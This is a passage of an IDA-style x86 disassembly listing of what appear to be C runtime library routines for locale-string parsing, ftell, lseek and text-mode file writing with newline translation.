jmp loc_42E2A0
; ---------------------------------------------------------------------------
loc_42E136: ; CODE XREF: sub_42E120+Dj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
cmp ecx, 43h
jnz short loc_42E190
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx+1]
test eax, eax
jnz short loc_42E190
mov ecx, [ebp+arg_4]
mov byte ptr [ecx], 43h
mov edx, [ebp+arg_4]
mov byte ptr [edx+1], 0
cmp [ebp+arg_8], 0
jz short loc_42E179
mov eax, [ebp+arg_8]
mov word ptr [eax], 0
mov ecx, [ebp+arg_8]
mov word ptr [ecx+2], 0
mov edx, [ebp+arg_8]
mov word ptr [edx+4], 0
loc_42E179: ; CODE XREF: sub_42E120+3Dj
cmp [ebp+arg_C], 0
jz short loc_42E188
mov eax, [ebp+arg_C]
mov dword ptr [eax], 0
loc_42E188: ; CODE XREF: sub_42E120+5Dj
mov eax, [ebp+arg_4]
jmp loc_42E2A0
; ---------------------------------------------------------------------------
loc_42E190: ; CODE XREF: sub_42E120+1Fj
; sub_42E120+2Aj
mov ecx, [ebp+arg_0]
push ecx
push offset dword_45423C
call sub_41F7E0
add esp, 8
test eax, eax
jz loc_42E258
mov edx, [ebp+arg_0]
push edx
push offset dword_4541B8
call sub_41F7E0
add esp, 8
test eax, eax
jz loc_42E258
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_88]
push ecx
call sub_42E310
add esp, 8
test eax, eax
jz short loc_42E1E0
xor eax, eax
jmp loc_42E2A0
; ---------------------------------------------------------------------------
loc_42E1E0: ; CODE XREF: sub_42E120+B7j
lea edx, [ebp+var_88]
push edx
push offset dword_4F3410
lea eax, [ebp+var_88]
push eax
call sub_434EB0
add esp, 0Ch
test eax, eax
jnz short loc_42E206
xor eax, eax
jmp loc_42E2A0
; ---------------------------------------------------------------------------
loc_42E206: ; CODE XREF: sub_42E120+DDj
xor ecx, ecx
mov cx, ds:word_4F3414
mov ds:dword_4F3418, ecx
lea edx, [ebp+var_88]
push edx
push offset dword_45423C
call sub_42E470
add esp, 8
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42E246
mov edx, [ebp+arg_0]
push edx
push offset dword_4541B8
call sub_41F620
add esp, 8
jmp short loc_42E258
; ---------------------------------------------------------------------------
loc_42E246: ; CODE XREF: sub_42E120+111j
push offset dword_45423C
push offset dword_4541B8
call sub_41F620
add esp, 8
loc_42E258: ; CODE XREF: sub_42E120+83j
; sub_42E120+9Cj ...
cmp [ebp+arg_8], 0
jz short loc_42E271
push 6
push offset dword_4F3410
mov eax, [ebp+arg_8]
push eax
call sub_41FBF0
add esp, 0Ch
loc_42E271: ; CODE XREF: sub_42E120+13Cj
cmp [ebp+arg_C], 0
jz short loc_42E28A
push 4
push offset dword_4F3418
mov ecx, [ebp+arg_C]
push ecx
call sub_41FBF0
add esp, 0Ch
loc_42E28A: ; CODE XREF: sub_42E120+155j
push offset dword_45423C
mov edx, [ebp+arg_4]
push edx
call sub_41F620
add esp, 8
mov eax, offset dword_45423C
loc_42E2A0: ; CODE XREF: sub_42E120+11j
; sub_42E120+6Bj ...
mov esp, ebp
pop ebp
retn
sub_42E120 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E2B0 proc near ; CODE XREF: sub_42DE80+12Bp
; DATA XREF: _2:off_4542C8o
push ebp
mov ebp, esp
xor eax, eax
pop ebp
retn
sub_42E2B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E2C0 proc near ; CODE XREF: sub_42E020+75p
; sub_42E470+30p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp+arg_8]
mov [ebp+var_4], eax
mov [ebp+var_8], 0
jmp short loc_42E2DE
; ---------------------------------------------------------------------------
loc_42E2D5: ; CODE XREF: sub_42E2C0+42j
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
loc_42E2DE: ; CODE XREF: sub_42E2C0+13j
mov edx, [ebp+var_8]
cmp edx, [ebp+arg_4]
jge short loc_42E304
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov edx, [ecx-4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_41F630
add esp, 8
jmp short loc_42E2D5
; ---------------------------------------------------------------------------
loc_42E304: ; CODE XREF: sub_42E2C0+24j
mov [ebp+var_4], 0
mov esp, ebp
pop ebp
retn
sub_42E2C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E310 proc near ; CODE XREF: sub_42E120+ADp
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push 88h
push 0
mov eax, [ebp+arg_0]
push eax
call sub_41E4B0
add esp, 0Ch
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_42E33A
xor eax, eax
jmp loc_42E469
; ---------------------------------------------------------------------------
loc_42E33A: ; CODE XREF: sub_42E310+21j
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax]
cmp ecx, 2Eh
jnz short loc_42E370
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx+1]
test eax, eax
jz short loc_42E370
mov ecx, [ebp+arg_4]
add ecx, 1
push ecx
mov edx, [ebp+arg_0]
add edx, 80h
push edx
call sub_41F620
add esp, 8
xor eax, eax
jmp loc_42E469
; ---------------------------------------------------------------------------
loc_42E370: ; CODE XREF: sub_42E310+33j
; sub_42E310+3Ej
mov [ebp+var_4], 0
jmp short loc_42E382
; ---------------------------------------------------------------------------
loc_42E379: ; CODE XREF: sub_42E310+152j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_42E382: ; CODE XREF: sub_42E310+67j
push offset a___0 ; "_.,"
mov ecx, [ebp+arg_4]
push ecx
call sub_434E30
add esp, 8
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_42E3A4
or eax, 0FFFFFFFFh
jmp loc_42E469
; ---------------------------------------------------------------------------
loc_42E3A4: ; CODE XREF: sub_42E310+8Aj
mov edx, [ebp+arg_4]
add edx, [ebp+var_C]
mov al, [edx]
mov [ebp+var_8], al
cmp [ebp+var_4], 0
jnz short loc_42E3DA
cmp [ebp+var_C], 40h
jge short loc_42E3DA
movsx ecx, [ebp+var_8]
cmp ecx, 2Eh
jz short loc_42E3DA
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41E510
add esp, 0Ch
jmp short loc_42E440
; ---------------------------------------------------------------------------
loc_42E3DA: ; CODE XREF: sub_42E310+A3j
; sub_42E310+A9j ...
cmp [ebp+var_4], 1
jnz short loc_42E408
cmp [ebp+var_C], 40h
jge short loc_42E408
movsx edx, [ebp+var_8]
cmp edx, 5Fh
jz short loc_42E408
mov eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
add edx, 40h
push edx
call sub_41E510
add esp, 0Ch
jmp short loc_42E440
; ---------------------------------------------------------------------------
loc_42E408: ; CODE XREF: sub_42E310+CEj
; sub_42E310+D4j ...
cmp [ebp+var_4], 2
jnz short loc_42E43B
movsx eax, [ebp+var_8]
test eax, eax
jz short loc_42E41F
movsx ecx, [ebp+var_8]
cmp ecx, 2Ch
jnz short loc_42E43B
loc_42E41F: ; CODE XREF: sub_42E310+104j
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
add ecx, 80h
push ecx
call sub_41E510
add esp, 0Ch
jmp short loc_42E440
; ---------------------------------------------------------------------------
loc_42E43B: ; CODE XREF: sub_42E310+FCj
; sub_42E310+10Dj
or eax, 0FFFFFFFFh
jmp short loc_42E469
; ---------------------------------------------------------------------------
loc_42E440: ; CODE XREF: sub_42E310+C8j
; sub_42E310+F6j ...
movsx edx, [ebp+var_8]
cmp edx, 2Ch
jnz short loc_42E44B
jmp short loc_42E467
; ---------------------------------------------------------------------------
loc_42E44B: ; CODE XREF: sub_42E310+137j
movsx eax, [ebp+var_8]
test eax, eax
jnz short loc_42E455
jmp short loc_42E467
; ---------------------------------------------------------------------------
loc_42E455: ; CODE XREF: sub_42E310+141j
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_4]
lea eax, [edx+ecx+1]
mov [ebp+arg_4], eax
jmp loc_42E379
; ---------------------------------------------------------------------------
loc_42E467: ; CODE XREF: sub_42E310+139j
; sub_42E310+143j
xor eax, eax
loc_42E469: ; CODE XREF: sub_42E310+25j
; sub_42E310+5Bj ...
mov esp, ebp
pop ebp
retn
sub_42E310 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E470 proc near ; CODE XREF: sub_42E120+101p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41F620
add esp, 8
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx+40h]
test eax, eax
jz short loc_42E4A8
mov ecx, [ebp+arg_4]
add ecx, 40h
push ecx
push offset a__5 ; "_"
push 2
mov edx, [ebp+arg_0]
push edx
call sub_42E2C0
add esp, 10h
loc_42E4A8: ; CODE XREF: sub_42E470+1Cj
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax+80h]
test ecx, ecx
jz short loc_42E4D3
mov edx, [ebp+arg_4]
add edx, 80h
push edx
push offset a__4 ; "."
push 2
mov eax, [ebp+arg_0]
push eax
call sub_42E2C0
add esp, 10h
loc_42E4D3: ; CODE XREF: sub_42E470+44j
pop ebp
retn
sub_42E470 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E4E0 proc near ; CODE XREF: sub_421050+10Ep
; sub_427CE0+216p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, ds:dword_4F37C0
jnb short loc_42E511
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4F36C0[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_42E52C
loc_42E511: ; CODE XREF: sub_42E4E0+Dj
call sub_429A90
mov dword ptr [eax], 9
call sub_429AA0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_42E55E
; ---------------------------------------------------------------------------
loc_42E52C: ; CODE XREF: sub_42E4E0+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_431070
add esp, 4
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42E570
add esp, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push eax
call sub_431100
add esp, 4
mov eax, [ebp+var_4]
loc_42E55E: ; CODE XREF: sub_42E4E0+4Aj
mov esp, ebp
pop ebp
retn
sub_42E4E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E570 proc near ; CODE XREF: sub_427380+40Dp
; sub_42E4E0+64p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push eax
call sub_430EF0
add esp, 4
mov [ebp+var_C], eax
cmp [ebp+var_C], 0FFFFFFFFh
jnz short loc_42E59E
call sub_429A90
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp loc_42E61E
; ---------------------------------------------------------------------------
loc_42E59E: ; CODE XREF: sub_42E570+19j
mov ecx, [ebp+arg_8]
push ecx
push 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+var_C]
push eax
call ds:off_4F53F4
mov [ebp+var_8], eax
cmp [ebp+var_8], 0FFFFFFFFh
jnz short loc_42E5C6
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov [ebp+var_4], eax
jmp short loc_42E5CD
; ---------------------------------------------------------------------------
loc_42E5C6: ; CODE XREF: sub_42E570+49j
mov [ebp+var_4], 0
loc_42E5CD: ; CODE XREF: sub_42E570+54j
cmp [ebp+var_4], 0
jz short loc_42E5E4
mov ecx, [ebp+var_4]
push ecx
call sub_4299F0
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_42E61E
; ---------------------------------------------------------------------------
loc_42E5E4: ; CODE XREF: sub_42E570+61j
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, ds:dword_4F36C0[edx*4]
mov dl, [ecx+eax+4]
and dl, 0FDh
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov eax, ds:dword_4F36C0[eax*4]
mov [eax+ecx+4], dl
mov eax, [ebp+var_8]
loc_42E61E: ; CODE XREF: sub_42E570+29j
; sub_42E570+72j
mov esp, ebp
pop ebp
retn
sub_42E570 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_42E637: ; CODE XREF: _0:0042E65Fj
cmp dword ptr [ebp+8], 0
jnz short loc_42E65B
push offset dword_43C504
push 0
push 32h
push offset aFtell_c ; "ftell.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_42E65B
int 3 ; Trap to Debugger
loc_42E65B: ; CODE XREF: _0:0042E63Bj _0:0042E658j
xor eax, eax
test eax, eax
jnz short loc_42E637
mov ecx, [ebp+8]
push ecx
call sub_422420
add esp, 4
mov edx, [ebp+8]
push edx
call sub_42E6A0
add esp, 4
mov [ebp-4], eax
mov eax, [ebp+8]
push eax
call sub_422490
add esp, 4
mov eax, [ebp-4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E6A0 proc near ; CODE XREF: sub_421050+87p
; _0:0042E671p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
loc_42E6A9: ; CODE XREF: sub_42E6A0+31j
cmp [ebp+arg_0], 0
jnz short loc_42E6CD
push offset dword_43C514
push 0
push 63h
push offset aFtell_c ; "ftell.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_42E6CD
int 3 ; Trap to Debugger
loc_42E6CD: ; CODE XREF: sub_42E6A0+Dj
; sub_42E6A0+2Aj
xor eax, eax
test eax, eax
jnz short loc_42E6A9
mov ecx, [ebp+arg_0]
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
mov eax, [edx+10h]
mov [ebp+var_8], eax
mov ecx, [ebp+var_C]
cmp dword ptr [ecx+4], 0
jge short loc_42E6F5
mov edx, [ebp+var_C]
mov dword ptr [edx+4], 0
loc_42E6F5: ; CODE XREF: sub_42E6A0+49j
push 1
push 0
mov eax, [ebp+var_8]
push eax
call sub_42E4E0
add esp, 0Ch
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jge short loc_42E716
or eax, 0FFFFFFFFh
jmp loc_42E933
; ---------------------------------------------------------------------------
loc_42E716: ; CODE XREF: sub_42E6A0+6Cj
mov ecx, [ebp+var_C]
mov edx, [ecx+0Ch]
and edx, 108h
test edx, edx
jnz short loc_42E736
mov eax, [ebp+var_C]
mov ecx, [ebp+var_1C]
sub ecx, [eax+4]
mov eax, ecx
jmp loc_42E933
; ---------------------------------------------------------------------------
loc_42E736: ; CODE XREF: sub_42E6A0+84j
mov edx, [ebp+var_C]
mov eax, [ebp+var_C]
mov ecx, [edx]
sub ecx, [eax+8]
mov [ebp+var_18], ecx
mov edx, [ebp+var_C]
mov eax, [edx+0Ch]
and eax, 3
test eax, eax
jz short loc_42E7AC
mov ecx, [ebp+var_8]
sar ecx, 5
mov edx, [ebp+var_8]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4F36C0[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 80h
test ecx, ecx
jz short loc_42E7AA
mov edx, [ebp+var_C]
mov eax, [edx+8]
mov [ebp+var_4], eax
jmp short loc_42E78A
; ---------------------------------------------------------------------------
loc_42E781: ; CODE XREF: sub_42E6A0:loc_42E7A8j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42E78A: ; CODE XREF: sub_42E6A0+DFj
mov edx, [ebp+var_C]
mov eax, [ebp+var_4]
cmp eax, [edx]
jnb short loc_42E7AA
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0Ah
jnz short loc_42E7A8
mov eax, [ebp+var_18]
add eax, 1
mov [ebp+var_18], eax
loc_42E7A8: ; CODE XREF: sub_42E6A0+FDj
jmp short loc_42E781
; ---------------------------------------------------------------------------
loc_42E7AA: ; CODE XREF: sub_42E6A0+D4j
; sub_42E6A0+F2j
jmp short loc_42E7CF
; ---------------------------------------------------------------------------
loc_42E7AC: ; CODE XREF: sub_42E6A0+AFj
mov ecx, [ebp+var_C]
mov edx, [ecx+0Ch]
and edx, 80h
test edx, edx
jnz short loc_42E7CF
call sub_429A90
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp loc_42E933
; ---------------------------------------------------------------------------
loc_42E7CF: ; CODE XREF: sub_42E6A0:loc_42E7AAj
; sub_42E6A0+11Aj
cmp [ebp+var_1C], 0
jnz short loc_42E7DD
mov eax, [ebp+var_18]
jmp loc_42E933
; ---------------------------------------------------------------------------
loc_42E7DD: ; CODE XREF: sub_42E6A0+133j
mov eax, [ebp+var_C]
mov ecx, [eax+0Ch]
and ecx, 1
test ecx, ecx
jz loc_42E92D
mov edx, [ebp+var_C]
cmp dword ptr [edx+4], 0
jnz short loc_42E803
mov [ebp+var_18], 0
jmp loc_42E92D
; ---------------------------------------------------------------------------
loc_42E803: ; CODE XREF: sub_42E6A0+155j
mov eax, [ebp+var_C]
mov ecx, [ebp+var_C]
mov edx, [eax]
sub edx, [ecx+8]
mov eax, [ebp+var_C]
mov ecx, [eax+4]
add ecx, edx
mov [ebp+var_10], ecx
mov edx, [ebp+var_8]
sar edx, 5
mov eax, [ebp+var_8]
and eax, 1Fh
imul eax, 24h
mov ecx, ds:dword_4F36C0[edx*4]
movsx edx, byte ptr [ecx+eax+4]
and edx, 80h
test edx, edx
jz loc_42E924
push 2
push 0
mov eax, [ebp+var_8]
push eax
call sub_42E4E0
add esp, 0Ch
cmp eax, [ebp+var_1C]
jnz short loc_42E8B0
mov ecx, [ebp+var_C]
mov edx, [ecx+8]
add edx, [ebp+var_10]
mov [ebp+var_14], edx
mov eax, [ebp+var_C]
mov ecx, [eax+8]
mov [ebp+var_4], ecx
jmp short loc_42E877
; ---------------------------------------------------------------------------
loc_42E86E: ; CODE XREF: sub_42E6A0:loc_42E893j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42E877: ; CODE XREF: sub_42E6A0+1CCj
mov eax, [ebp+var_4]
cmp eax, [ebp+var_14]
jnb short loc_42E895
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0Ah
jnz short loc_42E893
mov eax, [ebp+var_10]
add eax, 1
mov [ebp+var_10], eax
loc_42E893: ; CODE XREF: sub_42E6A0+1E8j
jmp short loc_42E86E
; ---------------------------------------------------------------------------
loc_42E895: ; CODE XREF: sub_42E6A0+1DDj
mov ecx, [ebp+var_C]
mov edx, [ecx+0Ch]
and edx, 2000h
test edx, edx
jz short loc_42E8AE
mov eax, [ebp+var_10]
add eax, 1
mov [ebp+var_10], eax
loc_42E8AE: ; CODE XREF: sub_42E6A0+203j
jmp short loc_42E924
; ---------------------------------------------------------------------------
loc_42E8B0: ; CODE XREF: sub_42E6A0+1B5j
push 0
mov ecx, [ebp+var_1C]
push ecx
mov edx, [ebp+var_8]
push edx
call sub_42E4E0
add esp, 0Ch
cmp [ebp+var_10], 200h
ja short loc_42E8F0
mov eax, [ebp+var_C]
mov ecx, [eax+0Ch]
and ecx, 8
test ecx, ecx
jz short loc_42E8F0
mov edx, [ebp+var_C]
mov eax, [edx+0Ch]
and eax, 400h
test eax, eax
jnz short loc_42E8F0
mov [ebp+var_10], 200h
jmp short loc_42E8F9
; ---------------------------------------------------------------------------
loc_42E8F0: ; CODE XREF: sub_42E6A0+229j
; sub_42E6A0+236j ...
mov ecx, [ebp+var_C]
mov edx, [ecx+18h]
mov [ebp+var_10], edx
loc_42E8F9: ; CODE XREF: sub_42E6A0+24Ej
mov eax, [ebp+var_8]
sar eax, 5
mov ecx, [ebp+var_8]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4F36C0[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 4
test eax, eax
jz short loc_42E924
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
loc_42E924: ; CODE XREF: sub_42E6A0+19Cj
; sub_42E6A0:loc_42E8AEj ...
mov edx, [ebp+var_1C]
sub edx, [ebp+var_10]
mov [ebp+var_1C], edx
loc_42E92D: ; CODE XREF: sub_42E6A0+148j
; sub_42E6A0+15Ej
mov eax, [ebp+var_1C]
add eax, [ebp+var_18]
loc_42E933: ; CODE XREF: sub_42E6A0+71j
; sub_42E6A0+91j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42E6A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E940 proc near ; CODE XREF: sub_421200+147p
; sub_422F20+57p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, ds:dword_4F37C0
jnb short loc_42E971
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4F36C0[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_42E98C
loc_42E971: ; CODE XREF: sub_42E940+Dj
call sub_429A90
mov dword ptr [eax], 9
call sub_429AA0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_42E9BE
; ---------------------------------------------------------------------------
loc_42E98C: ; CODE XREF: sub_42E940+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_431070
add esp, 4
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42E9D0
add esp, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push eax
call sub_431100
add esp, 4
mov eax, [ebp+var_4]
loc_42E9BE: ; CODE XREF: sub_42E940+4Aj
mov esp, ebp
pop ebp
retn
sub_42E940 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E9D0 proc near ; CODE XREF: sub_42E940+64p
; sub_435EC0+145p
var_420 = dword ptr -420h
var_41C = byte ptr -41Ch
var_418 = dword ptr -418h
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 420h
mov [ebp+var_10], 0
mov eax, [ebp+var_10]
mov [ebp+var_420], eax
cmp [ebp+arg_8], 0
jnz short loc_42E9F6
xor eax, eax
jmp loc_42EC3F
; ---------------------------------------------------------------------------
loc_42E9F6: ; CODE XREF: sub_42E9D0+1Dj
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4F36C0[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 20h
test ecx, ecx
jz short loc_42EA28
push 2
push 0
mov edx, [ebp+arg_0]
push edx
call sub_42E570
add esp, 0Ch
loc_42EA28: ; CODE XREF: sub_42E9D0+46j
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4F36C0[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 80h
test eax, eax
jz loc_42EB5C
mov ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov [ebp+var_C], 0
loc_42EA5D: ; CODE XREF: sub_42E9D0:loc_42EB55j
mov edx, [ebp+var_4]
sub edx, [ebp+arg_4]
cmp edx, [ebp+arg_8]
jnb loc_42EB5A
lea eax, [ebp+var_414]
mov [ebp+var_8], eax
loc_42EA75: ; CODE XREF: sub_42E9D0+115j
mov ecx, [ebp+var_8]
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jge short loc_42EAE7
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jnb short loc_42EAE7
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [ebp+var_41C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
movsx ecx, [ebp+var_41C]
cmp ecx, 0Ah
jnz short loc_42EAD1
mov edx, [ebp+var_420]
add edx, 1
mov [ebp+var_420], edx
mov eax, [ebp+var_8]
mov byte ptr [eax], 0Dh
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
loc_42EAD1: ; CODE XREF: sub_42E9D0+E1j
mov edx, [ebp+var_8]
mov al, [ebp+var_41C]
mov [edx], al
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
jmp short loc_42EA75
; ---------------------------------------------------------------------------
loc_42EAE7: ; CODE XREF: sub_42E9D0+B6j
; sub_42E9D0+C1j
push 0
lea edx, [ebp+var_418]
push edx
mov eax, [ebp+var_8]
lea ecx, [ebp+var_414]
sub eax, ecx
push eax
lea edx, [ebp+var_414]
push edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4F36C0[eax*4]
mov eax, [edx+ecx]
push eax
call ds:dword_4F53B4 ; WriteFile
test eax, eax
jz short loc_42EB4A
mov ecx, [ebp+var_10]
add ecx, [ebp+var_418]
mov [ebp+var_10], ecx
mov edx, [ebp+var_8]
lea eax, [ebp+var_414]
sub edx, eax
cmp [ebp+var_418], edx
jge short loc_42EB48
jmp short loc_42EB5A
; ---------------------------------------------------------------------------
loc_42EB48: ; CODE XREF: sub_42E9D0+174j
jmp short loc_42EB55
; ---------------------------------------------------------------------------
loc_42EB4A: ; CODE XREF: sub_42E9D0+155j
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov [ebp+var_C], eax
jmp short loc_42EB5A
; ---------------------------------------------------------------------------
loc_42EB55: ; CODE XREF: sub_42E9D0:loc_42EB48j
jmp loc_42EA5D
; ---------------------------------------------------------------------------
loc_42EB5A: ; CODE XREF: sub_42E9D0+96j
; sub_42E9D0+176j ...
jmp short loc_42EBAC
; ---------------------------------------------------------------------------
loc_42EB5C: ; CODE XREF: sub_42E9D0+7Aj
push 0
lea ecx, [ebp+var_418]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4F36C0[ecx*4]
mov ecx, [eax+edx]
push ecx
call ds:dword_4F53B4 ; WriteFile
test eax, eax
jz short loc_42EBA3
mov [ebp+var_C], 0
mov edx, [ebp+var_418]
mov [ebp+var_10], edx
jmp short loc_42EBAC
; ---------------------------------------------------------------------------
loc_42EBA3: ; CODE XREF: sub_42E9D0+1BFj
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov [ebp+var_C], eax
loc_42EBAC: ; CODE XREF: sub_42E9D0:loc_42EB5Aj
; sub_42E9D0+1D1j
cmp [ebp+var_10], 0
jnz loc_42EC36
cmp [ebp+var_C], 0
jz short loc_42EBEA
cmp [ebp+var_C], 5
jnz short loc_42EBD9
call sub_429A90
mov dword ptr [eax], 9
call sub_429AA0
mov ecx, [ebp+var_C]
mov [eax], ecx
jmp short loc_42EBE5
; ---------------------------------------------------------------------------
loc_42EBD9: ; CODE XREF: sub_42E9D0+1F0j
mov edx, [ebp+var_C]
push edx
call sub_4299F0
add esp, 4
loc_42EBE5: ; CODE XREF: sub_42E9D0+207j
or eax, 0FFFFFFFFh
jmp short loc_42EC3F
; ---------------------------------------------------------------------------
loc_42EBEA: ; CODE XREF: sub_42E9D0+1EAj
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
